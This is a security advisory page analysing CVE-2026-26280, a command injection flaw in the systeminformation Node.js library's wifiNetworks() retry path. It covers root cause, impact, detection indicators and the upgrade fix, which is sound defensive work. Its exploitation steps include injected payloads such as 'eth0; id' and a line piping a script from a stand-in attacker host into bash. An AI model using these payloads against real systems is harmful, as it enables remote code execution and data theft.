CVE-2026-26280: 
JavaScript vulnerability analysis and mitigation

CVE-2026-26280 is a command injection vulnerability in the systeminformation Node.js library (npm package) affecting all versions prior to 5.30.8. The flaw resides in the wifiNetworks() function within lib/wifi.js, where an unsanitized network interface parameter is passed to a shell command in a retry code path. It was published by the maintainer on February 17, 2026, and added to the GitHub Advisory Database on February 18, 2026. The CVSS v3.1 base score is 8.4 (High) per the GitHub Security Advisory, or 7.8 (High) per NVD (GitHub Advisory, Feedly).

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). In lib/wifi.js, the wifiNetworks() function correctly sanitizes the iface parameter into ifaceSanitized on the initial call (line 437), but when the initial iwlist scan returns empty results, a setTimeout retry on lines 440–441 calls getWifiNetworkListIw(iface) using the original, unsanitized iface variable rather than ifaceSanitized. This unsanitized value is then interpolated directly into execSync('iwlist ${iface} scan'), enabling shell command injection via metacharacters such as semicolons. The fix (commit 22242aa) corrects the retry closure to use ifaceSanitized instead (GitHub Commit, GitHub Advisory). The vulnerability is Linux-specific, as iwlist is a Linux wireless tool.

Successful exploitation allows an attacker to execute arbitrary OS commands with the privileges of the Node.js process running the vulnerable application. This results in full compromise of confidentiality (access to sensitive data), integrity (modification of files and system state), and availability (service disruption or termination). Any downstream application — including IBM Maximo Application Suite Monitor Component using affected systeminformation versions — that passes user-controlled input to si.wifiNetworks() is at risk, potentially enabling lateral movement within the host environment (GitHub Advisory, IBM Advisory).

A proof-of-concept (PoC) is publicly documented in the GitHub Security Advisory: calling si.wifiNetworks('eth0; id') on a system where the initial scan returns empty results triggers the retry path and executes the injected id command (GitHub Advisory). No privileges are required for exploitation (PR:N per the advisory CVSS), though local access to the system or the ability to supply input to the affected function is needed. The EPSS score is approximately 0.083%, indicating a low but non-zero probability of exploitation in the wild within 30 days. There is no current evidence of active in-the-wild exploitation or CISA KEV catalog listing (Feedly).

1. Identify a vulnerable target: Locate a Node.js application using systeminformation versions prior to 5.30.8 on a Linux system that exposes the wifiNetworks() function with user-controlled input (e.g., a network interface name parameter from an API endpoint or CLI argument).
2. Craft a malicious interface parameter: Prepare an input string that includes shell metacharacters, such as eth0; <command> or eth0 && <command>. For example: eth0; id or eth0; curl http://attacker.com/shell.sh | bash.
3. Trigger the empty-result retry path: Submit the crafted interface name to the application so it reaches si.wifiNetworks(). The initial scan must return empty results (e.g., no Wi-Fi networks found on the specified interface) to trigger the setTimeout retry after ~4 seconds.
4. Achieve command execution: The retry calls getWifiNetworkListIw(iface) with the original unsanitized value, which executes execSync('iwlist eth0; id scan') — running the injected command with the privileges of the Node.js process.
5. Escalate or persist: Use the achieved command execution to exfiltrate data, establish a reverse shell, or perform further lateral movement within the host environment (GitHub Advisory, GitHub Commit).

• Process: Unexpected child processes spawned by the Node.js process, such as sh, bash, id, curl, wget, or python, particularly following calls to iwlist.
• Logs: Application logs showing calls to wifiNetworks() with interface parameters containing shell metacharacters (;, &&, |, $(...)); system logs (/var/log/syslog or journald) showing iwlist invocations with unusual arguments.
• Network: Unexpected outbound connections from the Node.js process to external IPs, especially shortly after iwlist execution; DNS lookups for attacker-controlled domains initiated by the Node.js process.
• File System: New or modified files in the application directory or /tmp created by the Node.js process user; presence of web shells, cron jobs, or SSH authorized keys added by the Node.js service account.

The primary remediation is to upgrade the systeminformation npm package to version 5.30.8 or later, which fixes the vulnerability by ensuring the sanitized ifaceSanitized variable is used in the retry code path (GitHub Commit). IBM Maximo Application Suite users should apply the relevant IBM security bulletin update (IBM Advisory). If immediate patching is not possible, implement strict input validation and allowlisting at the application layer to prevent user-controlled data from reaching si.wifiNetworks(), and run Node.js processes with the minimum required OS privileges to limit the blast radius of exploitation.

The vulnerability was reported by researcher mom3gool and published by the maintainer sebhildebrandt on February 17, 2026, with a patch released the same day. Social media activity was observed on Mastodon and Bluesky shortly after disclosure, indicating community awareness. IBM issued a security bulletin in May 2026 acknowledging that Maximo Application Suite Monitor Component versions using systeminformation 5.28.5–5.28.7 are affected (IBM Advisory). Tenable published a Nessus detection plugin (ID 318542) for the vulnerability.